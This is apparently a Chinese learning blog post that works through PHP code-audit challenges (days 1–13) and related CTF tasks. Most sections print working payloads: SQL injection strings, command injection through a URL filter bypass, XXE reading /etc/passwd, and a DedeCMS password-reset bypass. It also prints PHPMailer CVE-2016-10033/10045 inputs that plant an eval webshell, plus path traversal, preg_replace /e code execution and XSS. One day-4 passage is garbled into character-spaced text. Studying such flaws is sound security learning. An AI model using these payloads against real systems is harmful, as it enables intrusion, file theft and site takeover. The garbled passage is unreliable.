本文主要是介绍红日代码审计(day1-day14),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
该来的始终还是要来的 ,该审计的始终还是要审计的
day_1:wishlist
in_array漏洞
未加第三个参数的强转漏洞
class Challenge {const UPLOAD_DIRECTORY = './solutions/';private $file;private $whitelist;public function __construct($file) {$this->file = $file;$this->whitelist = range(1, 24);}public function __destruct() {if (in_array($this->file['name'], $this->whitelist)) {move_uploaded_file($this->file['tmp_name'],self::UPLOAD_DIRECTORY . $this->file['name']);}}
}$challenge = new Challenge($_FILES['solution']);
经过分析
这里存在in_array漏洞,如果in_array第三个参数没有设置为true,就默认是false,即代表可以进行强转,将7shell.php转为7.php
当然一个文件名不会影响什么,但如果和sql注入结合,就不一样了
官方给了一道题,关键部分如下:
这里可以使用上面讲的强转绕过
<?php
function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|/*|*|../|./|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode( "|",$pattern);
foreach($back_list as $hack){
if(preg_match( "/$hack/i", $value))
die( "$hack detected!");
}
return $value;
}
?>
这里没有过滤报错注入需要用到的函数,因此这里可以使用updatexml和extractvalue函数,注意,由于这儿过滤了concat,所以替换成make_set
官方文档解释如下:
MAKE_SET(bits,str1,str2,…),取bits的二进制的反码,按照反码位上为1查询
例如make_set (3,a,b,c,d,e)
3的二进制是0011,反码位1100,故查询出来的结果是:a,b
所以payload
?id=3 and (select extractvalue(2,make_set(3,0x7e,(select * from flag))))--+
或者
?id=3 and (select updatexml(2,make_set(3,0x7e,(select * from flag)),3))--+
注意:由于过滤了or,所以查询所有表的时候不能使用information_schema,但是可以使用mysql5.7以上的sys.schema_auto_increment_columns
day_2:Twig
filter_var
url检验漏洞
// composer require "twig/twig"
require 'vendor/autoload.php';class Template {private $twig;public function __construct() {$indexTemplate = '<img ' .'src="https://loremflickr.com/320/240">' .'<a href="{{link|escape}}">Next slide »</a>';// Default twig setup, simulate loading// index.html file from disk$loader = new Twig\Loader\ArrayLoader(['index.html' => $indexTemplate]);$this->twig = new Twig\Environment($loader);}public function getNexSlideUrl() {$nextSlide = $_GET['nextSlide'];return filter_var($nextSlide, FILTER_VALIDATE_URL);}public function render() {echo $this->twig->render('index.html',['link' => $this->getNexSlideUrl()]);}
}(new Template())->render();
这个很典型了,filter_var对url存在的典型漏洞
可以通过:
javascript://comment%250aalert(1)
首先这条语句满足url的要求,//是单行注释,%25是%的url编码(直接在url上面%会变成%25),%0a是换行符,这样alert(1)就在下一行,没有被注释;
不过,这种跨站脚本攻击本身危害不大。
但是,跟命令执行放在一起,危害就大了。
同是这道对应的ctf题:
<?php
$url=$_GET['url'];
if(isset($url) && filter_var($url,FILTER_VALIDATE_URL))
{$site_info=parse_url($url);if(preg_match('/sec-redclub.com$/',$site_info['host'])){exec('curl"'.$site_info['host'].'"'.$result);echo "<center><h1>you have curl {$site_info['host']}successfully!</h1></center><center><textarea rows='20' cols='90'>";echo implode('',$result);}else{die("<center><h1>error:host is not allowed</h1></center>");}
}
else
{echo "<center><h1>just url like http://hbijkl.bk.com</h1></center>";
}
?>
首先就要经过 filter_var检验,在这里有多种绕过方式,不止这一种,以下都能绕过
http://localhost/index.php?url=http://demo.com@sec-redclub.com
http://localhost/index.php?url=http://demo.com&sec-redclub.com
http://localhost/index.php?url=http://demo.com?sec-redclub.com
http://localhost/index.php?url=http://demo.com/sec-redclub.com
http://localhost/index.php?url=demo://demo.com,sec-redclub.com
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
http://localhost/index.php?url=http://demo.com%23sec-redclub.com
难的是第二个preg_match('/sec-redclub.com$/',$site_info['host'])
,绕过这个匹配;
在这里,截取以上绕过语句的
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
构造payload:
demo://demo.com:80";ls;"sec-redclub.com:80
day_3: Snow Flake
漏洞产生函数是class_exists()
php内置函数使用漏洞
实现任意文件读取;
因为class_exists()的check自动调用了__autoload(),因此可以调用php内置类
所以payload:
?c=GlobIterator&d[t]=./*.php
看看与这个函数相关的ctf题:
可以看见,classname,param和param1是可控的,然后如果存在此类可以使用此类
这里引入三个php内置类,GlobIterator,simplexml_load_string和SimpleXMLElement类
GlobIterator的作用类似glob,用于遍历一个文件系统(glob — 寻找与模式匹配的文件路径)
利用方式:
?name=GlobIterator¶m=./*.php¶m2=0
这样就会找出当前目录下所有后缀是php的文件;
SimpleXMLElement和simplexml_load_string用于执行xml语句,可利用xml脚本来读取文件内容(xxe),这里要用base64的格式读取,因为文件中若存在 < > & ’ " 符号,会导致xml读取错误。
利用方式如下:
?name=SimpleXMLElement¶m=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.php">]><x>%26xxe;</x>¶m2=2
因此class_exists参数可控,则可以任意文件读取。
day_4:False Beard
strpos返回0和false漏洞
乍一看感觉是个xxe
将用户名和账号的输入进行xml处理
但是要求用户名和账号中不能出现<>这样的字符;
这里出现问题的函数是strpos
strpos是找到字符串第一次出现的位置,没找到返回false,若在开头就找到则返回0;
而这里的if判断条件是:
作者忽略了strpos会返回0,0取反也为真;
<?xml version="1.0"?>' .'<user v="%s"/><pass v="%s"/>
所以可以构造
<?xml version="1.0">
<user v=""/><!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>< ""/>
<pass v=""/><description>&xxe;</description><""/>所以payload如下
user:<>"/><!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>< "
pass:<>"/><description>&xxe;</description><"
这里使用官方找的类似bug
dedecms的找回密码功能,关键代码如下:
......
resetpassword.php
else if($dopost == "safequestion")
{$mid = preg_replace("#[^0-9]#", "", $id);$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";$row = $db->GetOne($sql);//返回一堆数组if(empty($safequestion)) $safequestion = '';if(empty($safeanswer)) $safeanswer = '';if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)//如果用户没有设置安全问题和密码,就是'0'='0.0'&&null='';为啥不能直接‘0’=‘0’???{//所以这才是重点,使得url=url?dopost=safequestion&safequestion=0.0&safeanswer=&id=myidsn($mid, $row['userid'], $row['email'], 'N');//回答问题正确就进行snexit();}else{ShowMsg("对不起,您的安全问题或答案回答错误","-1");exit();}}......
漏洞出现在if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
这一句
如果用户并没有设置安全问题,自然也没有答案,因此,
r o w [ ′ s a f e q u e s t i o n ′ ] = 0 r o w [ ′ s a f e a n s w e r ′ ] = n u l l 对 于 s a f e q u e s t i o n 来 说 , ‘ 0 = = s a f e q u e s t i o n ‘ , 这 里 可 以 用 0 = 0.0 , 0 = 0. , 0 = 0 e 1 来 进 行 绕 过 ( 经 过 v a r d u m p 输 出 , 发 现 row['safequestion']=0 row['safeanswer']=null 对于safequestion 来说,`0==safequestion` ,这里可以用0=0.0,0=0.,0=0e1来进行绕过 (经过var_dump输出,发现 row[′safequestion′]=0row[′safeanswer′]=null对于safequestion来说,‘0==safequestion‘,这里可以用0=0.0,0=0.,0=0e1来进行绕过(经过vardump输出,发现row[‘safequestion’] 是字符串型,为“0”,而 s a f e q u e s t i o n 虽 然 也 为 字 符 型 , 但 是 使 用 v a r d u m p 输 出 s a f e q u e s t i o n = 0 的 时 候 是 以 下 图 片 显 示 的 为 空 , 输 出 0.0 是 就 是 0.0 ; 回 去 看 了 看 , 原 来 是 这 ‘ i f ( e m p t y ( safequestion虽然也为字符型,但是使用var_dump输出safequestion=0的时候是以下图片显示的为空,输出0.0是就是0.0;回去看了看,原来是这` if(empty( safequestion虽然也为字符型,但是使用vardump输出safequestion=0的时候是以下图片显示的为空,输出0.0是就是0.0;回去看了看,原来是这‘if(empty(safequestion)) $safequestion = ‘’;,empty(0)=1,所以safequestion为'') ![在这里插入图片描述](https://img-blog.csdnimg.cn/2020010520494473.png) 对于safeanswer来说
null==’’`
然后进行sn函数
sn函数在inc/inc_pwd_function.php中,关键代码如下:
.......
function sn($mid,$userid,$mailto, $send = 'Y')
{global $db;$tptim= (60*10);$dtime = time();$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";//在临时密码表里找$row = $db->GetOne($sql);//同样获取if(!is_array($row)){//发送新邮件;newmail($mid,$userid,$mailto,'INSERT',$send);//进入newmail}//10分钟后可以再次发送新验证码;elseif($dtime - $tptim > $row['mailtime']){newmail($mid,$userid,$mailto,'UPDATE',$send);}//重新发送新的验证码确认邮件;else{return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');}
}
从刚刚的resetpassword.php传进来的row为0;所以直接进入newmail函数
newmail函数关键语句如下:
.......if($type == 'INSERT'){$key = md5($randval);$sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');";if($db->ExecuteNoneQuery($sql)){if($send == 'Y'){sendmail($mailto,$mailtitle,$mailbody,$headers);return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');} else if ($send == 'N'){return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);}}else{return ShowMsg('对不起修改失败,请联系管理员', 'login.php');}}
从最开始传进来的send就为n,所以直接进入showmsg跳转到/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval
这个页面
核心代码为:
.....
elseif($setp == 2){if(isset($key)) $pwdtmp = $key;// $key = md5($randval);randval是random(8)$sn = md5(trim($pwdtmp));//再次将keymd5加密if($row['pwd'] == $sn)//综上,修改密码需要random(8)两次md5加密,并且setp=2(这里的setp=2是只要没有超时就自动赋值);//即/resetpassword.php?dopost=getpasswd&id="我们的id"&key="md5(random(8))",但这个是自动填好的东西{if($pwd != ""){if($pwd == $pwdok){$pwdok = md5($pwdok);$sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";$db->executenonequery($sql);$sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";if($db->executenonequery($sql)){showmsg('更改密码成功,请牢记新密码', 'login.php');exit;}}}showmsg('对不起,新密码为空或填写不一致', '-1');exit;}showmsg('对不起,临时密码错误', '-1');exit;}
}
setp=2是在前端赋的值(前提是没超时),跳进dopost=getpasswd里面就基本上完成了修改密码操作;
所以payload为:
/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=$id=my_id
好啦,我去复现了;复现详细请戳这儿
*day5-Postcard(一脸懵中,先放这儿)
参考自
https://xz.aliyun.com/t/2501
escapeshellarg和escapeshellcmd特殊字符逃逸
mail -x参数命令执行漏洞
filter_var() 中 的FILTER_VALIDATE_EMAIL,转义和空格可在双引号中
核心代码如下:
<?php
class Mailer {private function sanitize($email) {if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {//filter_var可绕过return '';}return escapeshellarg($email);//escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数,这里应该也可以进行命令执行}public function send($data) {if (!isset($data['to'])) {$data['to'] = 'none@ripstech.com';} else {$data['to'] = $this->sanitize($data['to']);}if (!isset($data['from'])) {$data['from'] = 'none@ripstech.com';} else {$data['from'] = $this->sanitize($data['from']);}if (!isset($data['subject'])) {$data['subject'] = 'No Subject';}if (!isset($data['message'])) {$data['message'] = '';}mail($data['to'], $data['subject'], $data['message'],'', "-f" . $data['from']);//-x可以直接上传shell,可以直接-fx。。}
}$mailer = new Mailer();
$mailer->send($_POST);
?>
分析漏洞之前,先看看mail函数的语法:
mail(to,subject,message,headers,parameters)
to:发送给谁
subject:主题
message:内容
header:可选,报头,例:From、Cc 和 Bcc
parameters:可选,参数,
额外参数如下:
-O option = valueQueueDirectory = queuedir 选择队列消息-X logfile这个参数可以指定一个目录来记录发送邮件时的详细日志情况。这里存在着命令执行漏洞-f from email这个参数可以让我们指定我们发送邮件的邮箱地址。
假设,发送邮箱代码如下:
<?php
$to="123@163.com";
$subject="muma";
$message="<?php eval($_POST['shell']);?>";
$header="CC:someone@163.com";
$parameters="-OQueueDirectory=/tmp -X /var/www/html/log.php"
mail($to,$subject,$message,$header,$parameters)
?>
这样的话,在log.php里面就会写入木马,从而达到获取shell的目的
当然对于这道题来说,不仅仅是这样,对于filter_var() 中 的FILTER_VALIDATE_EMAIL来说,所有的特殊符号必须放在双引号中
但在双引号中嵌套转义字符仍然能通过验证,如下例子:
@var_dump(filter_var('\'hhh."\'\ hhh\ hhh"@qq.com',FILTER_VALIDATE_EMAIL));#ture
我们可以通过重叠双引号和单引号的形式来进行绕过
例如:
@var_dump(filter_var('"hhh.hhh\ zsdz"@163.com',FILTER_VALIDATE_EMAIL));#ture
可见已经绕过,但是在之后的escapeshellarg仍然会检测出特殊符号(对’进行转义,例如:123’ --》123’’’)
但是 escapeshellcmd() 和 escapeshellarg 一起使用,会造成特殊字符逃逸;
所以当我们发送curl 127.0.0.1\ -v -d a=1’ ,即向 127.0.0.1\ 发起请求,POST 数据为 a=1’ ,有限制时,可以尝试以下payload:
127.0.0.1' -v -d a=1
经过escapeshellarg转义单引号
'127.0.0.1'\'' -v -d a=1'
经过escapeshellcmd处理\和转义a=1'的单引号
'127.0.0.1'\\'' -v -d a=1\'
此时\\已经被解释成\,最后放到命令curl中,得到:
curl 127.0.0.1\ -v -d a=1'
感觉还是有点晕,进行一下实例分析:
CVE-2016-10033
就是在调用mail函数的时候,$parameters参数可控且没有进行过滤,只单纯判空了一下,因此,可以使用-X写入shell
-OQueueDirectory=/tmp -X/var/www/html/x.php
经过代码审计发现parameters参数是通过this->Sender传来的,而this->Sender是通过setFrom 函数将 $address 经过一些过滤处理赋值的
对于address的处理有很复杂的正则表达式,如下:
preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);
不过还是有大佬发现,在@前使用括号可以引入空格(引入空格是因为在执行命令时需要)
使用payload为:
abc( -OQueueDirectory=/tmp -X/var/www/html/x.php )@123.com
"<?php phpinfo();?>". -OQueueDirectory=/tmp/. -X/var/www/html/shell.php @swehack.org
CVE-2016-10045
这是在以上的基础上增加了escapeshellcmd 函数进行加强
但是由于mail函数底层调用了escapeshellarg 函数,因此两个函数放在一起出现了单引号逃逸漏洞
而payload也变成了
a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com
a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com
先经过escapeshellarg 转义
''a'\''( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com''
再经过escapeshellcmd 转义
''a'\\''\( -OQueueDirectory=/tmp -X/var/www/html/x.php \)@a.com\''
最后命令变成
'-fa'\\''\( -OQueueDirectory=/tmp -X/var/www/html/test.php \)@a.com\'
即被分成四部分
-fa\(、-OQueueDirectory=/tmp、-X/var/www/html/test.php、)@a.com'
感觉还是有点懵,emm,再来一道ctf题,鉴于ctf我不太好理解,所以放在了这儿
day6-Frost Pattern
正则表达式运用不当,可实现路径穿越
<?php
class TokenStorage {public function performAction($action, $data) {switch ($action) {case 'create':$this->createToken($data);break;case 'delete':$this->clearToken($data);break;default:throw new Exception('Unknown action');}}public function createToken($seed) {$token = md5($seed);file_put_contents('/tmp/tokens/' . $token, '...data');//写入文件}public function clearToken($token) {$file = preg_replace("/[^a-z.-_]/", "", $token);//将token中的除了a-z或者.到_的其它字符换成空,preg_replace有漏洞,这儿存在着00截断或者%0a换行或者直接注释。unlink('/tmp/tokens/' . $file);//删除文件}
}$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);//参数可控,貌似可以任意删除,action=delete,data=
?>
正则表达式运用不当,可以通过传入…/进行路径穿越,可以实现任意文件删除
payload如下
?action = delete&data = ../../ config.php
[^a-z.-_]
表示匹配除了 a 字符到 z 字符、. 字符到 _ 字符之间的所有字符
同样一道ctf题:
<?php
include 'flag.php';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{$password = $_POST['password'];//以post方式提交passwordif (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))//匹配打印字符42.000000000{echo 'Wrong Format';exit;}while (TRUE){$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';//[:punct:]匹配: !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~. [[:digit:]]匹配数字if (6 > preg_match_all($reg, $password, $arr))//这里是将字符,数字,大写,小写分段,至少要有六段--》42.0a-000000break;$c = 0;$ps = array('punct', 'digit', 'upper', 'lower');foreach ($ps as $pt){if (preg_match("/[[:$pt:]]+/", $password))//又继续匹配$c += 1;}if ($c < 3) break;//至少含有上面四种类型的三种类型,现在已经有[[:punct:]] (.),[[:digit:]](数字),大写小写。。42.0a-000000,但是这个过不了等于42,采用科学计数法:42.00000e+00if ("42" == $password) echo $flag;//password要等于"42",else echo 'Wrong password';exit;}
}
highlight_file(__FILE__);
?>
重点在于三次正则表达式,
第一次:
0 >= preg_match('/^[[:graph:]]{12,}$/', $password)
^表示以什么开头,$表示以什么结尾,[[:graph:]]表示可打印字符集
所以这里需要写一个长度为12的可打印字符集
第二次:
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';if (6 > preg_match_all($reg, $password, $arr))
[[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]分别表示集合{ !"#$%&'()*+,-./:;<=>?@[\]^_
{|}~.}`,数字,大写,小写
(6 > preg_match_all($reg, $password, $arr)表示将password分为至少六段,每一段连续的集合,数字,大写,小写,都为一段;
例如:payload:42.00000e+00
分为:42 . 00000 e + 00一共六段,每一段都匹配连续的同一集合
第三次:
if (preg_match("/[[:$pt:]]+/", $password))//又继续匹配$c += 1;...if ($c < 3) break;
这里的意思是四种集合中至少匹配三种,当然最后还有一个弱比较等于42,可以用科学计数法(科学技术法:1.3e09 --> 1.3x10的9次方)
所以有了payload
password=42.00000e+00
day7-Bells
parse_str函数使用错误
<?php
function getUser($id) {global $config, $db;//大概是连接数据库时候用到的,不过全局变量貌似可控if (!is_resource($db)) {//检测变量是否为资源类型$db = new MySQLi($config['dbhost'],$config['dbuser'],$config['dbpass'],$config['dbname']);}$sql = "SELECT username FROM users WHERE id = ?";//这里如果参数可控可能存在sql注入$stmt = $db->prepare($sql);$stmt->bind_param('i', $id);$stmt->bind_result($name);$stmt->execute();$stmt->fetch();return $name;
}$var = parse_url($_SERVER['HTTP_REFERER']);//解析referer
parse_str($var['query']);//将url后面提交的变量进行解析,例如:parse_str(username=123) --> $username=123,相当于再创建了个变量,那这里可能会存在变量覆盖
$currentUser = getUser($id);//通过id查询到name
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';//输出name
?>
果不其然的变量覆盖,若传入
?config['dbhost']=127.0.0.1&config['dbuser']=xxx&....&id=xxx
,这样的话,我们可以直接让服务器连接自己的数据库,若有登录验证也可绕过
漏洞出现在parse_str函数,此函数的作用:
把查询字符串解析到变量中,例如:
parse_str("name=xxx&age=10");
---->
$name=xxx,$age=10
值得注意的是,此函数并不会验证之前是否存在变量,直接覆盖
实例比较复杂,我单独拿到这儿
先看看ctf题:
<?php
$a = "hongri";
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {echo '<a href="uploadsomething.php">flag is here</a>';
}
?>
用到parse_str函数的是变量id,将接收的变量id的内容做为内容执行,payload?id=a[0]=240610708
当然仅仅还不行
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";if (!is_dir($savepath)) {$oldmask = umask(0);mkdir($savepath, 0777);umask($oldmask);}if ((@$_GET['filename']) && (@$_GET['content'])) {//$fp = fopen("$savepath".$_GET['filename'], 'w');$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';file_put_contents("$savepath" . $_GET['filename'], $content);$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";usleep(100000);$content = "Too slow!";file_put_contents("$savepath" . $_GET['filename'], $content);}print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{echo 'you can not see this page';
}
?>
这里存在一个时间竞争问题,关键代码为:
if ((@$_GET['filename']) && (@$_GET['content'])) {//$fp = fopen("$savepath".$_GET['filename'], 'w');$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';file_put_contents("$savepath" . $_GET['filename'], $content);$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";usleep(100000);$content = "Too slow!";file_put_contents("$savepath" . $_GET['filename'], $content);}
在一段比较短的时间内,不仅需要写入,还需要访问,才可能得到flag。
通过审计代码得知,sha1($_SERVER[‘REMOTE_ADDR’])为后台路径(REMOTE_ADDR与x-forwarded-for相似,不过两者有区别),所以:uploads/4b84b15bff6ee5796152495a230e45e3d7e947d9/
直接访问明显超过时间,得到的是too slow;
所以这里可以进行脚本和burpsuite的联合,进行时间竞争
python脚本如下:
import requests
import reurl='http://127.0.0.1/uploads/4b84b15bff6ee5796152495a230e45e3d7e947d9/2.php'
for i in range(0,200):session=requests.session()content=session.get(url).contentprint content
*day8-Candle
正则表达式/e执行命令的问题
<?php
header("Content-Type: text/plain");function complexStrtolower($regex, $value) {//传入a Areturn preg_replace('/(' . $regex . ')/ei',//这个/e貌似有问题'strtolower("\\1")',//反向引用$value); //preg_replace(/(a)/ei,strtolower("\\1),A);
}foreach ($_GET as $regex => $value) {echo complexStrtolower($regex, $value) . "\n";
}
?>
反向引用(这个没有运行出来,也不知道为啥)
\1:表示的是引用第一次匹配到的()括起来的部分
\2:表示的是引用第二次匹配到的()括起来的部分
例如:(\d)\1,可以匹配22,却不能匹配2,当然23也不能匹配,原因就是第一次匹配到的()括起来的部分是2,\1引用这个2,再次匹配一次,得到22
官方给的payload我也没法运行出结果…
题目要求将以get方式提交的键作为正则第一个参数,值作为正则表达式第三个参数
而第二个参数固定,是strtolower("\1"),应该是将匹配第一次匹配到的()括起来的部分转为小写;
可以匹配任意字符使用.*
但是由于php本身,直接使用get方式传参,接收时会变成_,起不到匹配任意字符的作用
因此,可以换成,\S,匹配任何非空白字符(当然也可以写[^ \f\n\r\t\v]
)
之后,对于为什么不能直接写phpinfo,官方解释如下:
这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。${phpinfo()} 中的 phpinfo() 会被当做变量先执行执行后,即变成 ${1} (phpinfo()成功执行返回true)。如果这个理解了,你就能明白下面这个问题:
这里的${$a}
与之前的可变变量$$a
是一样的
var_dump(phpinfo()); // 结果:布尔 true
var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
实例还是放在放在这儿这儿
ctf题:
day-9:Rabbit
<?php
class LanguageManager {public function loadLanguage() {$lang = $this->getBrowserLanguage();$sanitizedLang = $this->sanitizeLanguage($lang);require_once("/lang/$sanitizedLang");//$sanitizedLang这个貌似能人为控制}private function getBrowserLanguage() {$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';//$a ?? 0 等同于 isset($a) ? $a : 0。所以这里应该是判断有没有设置accept-languagereturn $lang;//返回server,传到下一个函数去}private function sanitizeLanguage($language) {return str_replace('../', '', $language);//这儿只过滤了../,但我还能写....//啊。。。}
}(new LanguageManager())->loadLanguage();
?>
这里说一下php7引入的??和?:
$a ?? 0 等同于 isset($a) ? $a : 0
$a ?: 0 等同于 $a ? $a : 0
然后初步判断应该是HTTP_ACCEPT_LANGUAGE可控,然后过滤不全
经过测试:
..././flag.php
....//flag.php
确实,可以得到flag,过滤了…/可以使用…//或者…/./
实例分析仍然放到这儿
ctf题:
day-10:Anticipation
<?php
extract($_POST);//这个函数是将数组的键作为变量名,值作为内容,赋值function goAway() {error_log("Hacking attempt.");header('Location: /error/');
}if (!isset($pi) || !is_numeric($pi)) {//设置的waf,传入的参数不能是没有设置的,也不能不是数字goAway();
}if (!assert("(int)$pi == 3")) {//assert貌似类似if,表示传入的值强转为int后需要等于3,这里应该可以用3a绕过,这个pi可以通过前面的post传入,但是。。。这里没有可执行的东西啊。。echo "This is not pi.";
} else {echo "This might be pi.";
}
?>
原来是一个逻辑漏洞,在进行waf之后没有退出,导致代码继续执行;
在判断pi变量为数字或者没有设置的时候,执行了goaway()函数,重定向到了error页面,完了之后继续往下执行,到asset判断
所以可以直接POST传递:pi=phpinfo()
实例仍然在这儿
ctf:
day-11:Pumpkin Pie
<?php
class Template {public $cacheFile = '/tmp/cachefile';//这种公有变量很容易被修改public $template = '<div>Welcome back %s</div>';public function __construct($data = null) {//将data传递进来$data = $this->loadData($data);//将具有一定格式的data数据进行反序列化$this->render($data);}public function loadData($data) {if (substr($data, 0, 2) !== 'O:'&& !preg_match('/O:\d:\/', $data)) {//这里规定了data传递的格式:O:1return unserialize($data);//反序列化问题挺多的}return [];}public function createCache($file = null, $tpl = null) {//构造函数过来的,但是调用函数的时候并没有进行传参$file = $file ?? $this->cacheFile;//file没有设置就设为初始化的cacheFile$tpl = $tpl ?? $this->template;file_put_contents($file, $tpl);//写入文件,这个很好被修改,因为两个变量都是公有,但是如何传参,嗯。。。}public function render($data) {echo sprintf(//这个sprintf函数是类似与c中的print,可以将%转化为参数输出$this->template,htmlspecialchars($data['name'])//将data数据进行html实体化);}public function __destruct() {$this->createCache();}
}new Template($_COOKIE['data']);//由cookie传数据,仍然可控?>
初步判断应该是一个php反序列化的问题,可惜,反序列化,我不会…啊哈哈
但是我们的目的是修改cacheFile和template,使得写入一句话木马,肯定是要用data来进行修改的。
反序列化的漏洞随便搜索一下就能知道,重点是如何绕过正则表达式:
。。。这个玩意,啊哈哈,先放payload:
a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:25:"<?php eval($_POST[xx]);?>";}}
这玩意等我过一遍所有之后再来
day-12:String Lights
<?php
$sanitized = [];foreach ($_GET as $key => $value) {$sanitized[$key] = intval($value);//将以get方式传入的数组写入sanitized
}$queryParts = array_map(function ($key, $value) {return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));//array_map遍历每一个值,执行函数,array_keys取sanitized的键,array_values取sanitized的值$query = implode('&', $queryParts);//将queryParts与&作为字符串连接起来echo "<a href='/images/size.php?" .htmlentities($query) . "'>link</a>";//执行html语言,这里query可控?>
初步判断是xss
存在漏洞的函数是htmlentities,此函数原本是将html特殊字符转换成实体字符,如果不写额外参数的话,单引号和双引号是不能转换的,因此出现了漏洞。
参数放在下面:
ENT_COMPAT(默认值):只转换双引号。ENT_QUOTES:两种引号都转换。ENT_NOQUOTES:两种引号都不转换。
所以很好构造payload:
' onclick=alert(/xss/)
day-13:Turkey Baster
<?php
class LoginManager {private $em;private $user;private $password;public function __construct($user, $password) {$this->em = DoctrineManager::getEntityManager();$this->user = $user;$this->password = $password;}public function isValid() {$user = $this->sanitizeInput($this->user);//这里调用函数过滤了些东西$pass = $this->sanitizeInput($this->password);$queryBuilder = $this->em->createQueryBuilder()->select("COUNT(p)")->from("User", "u")->where("user = '$user' AND password = '$pass'");$query = $queryBuilder->getQuery();//一个过滤了双引号的sql注入,如果不能用宽字符注入,那就哦豁?return boolval($query->getSingleScalarResult());}public function sanitizeInput($input, $length = 20) {$input = addslashes($input);//这里是在双引号前加/if (strlen($input) > $length) {$input = substr($input, 0, $length);//控制了字符长度,只能20个字符}return $input;}
}$auth = new LoginManager($_POST['user'], $_POST['passwd']);//可控
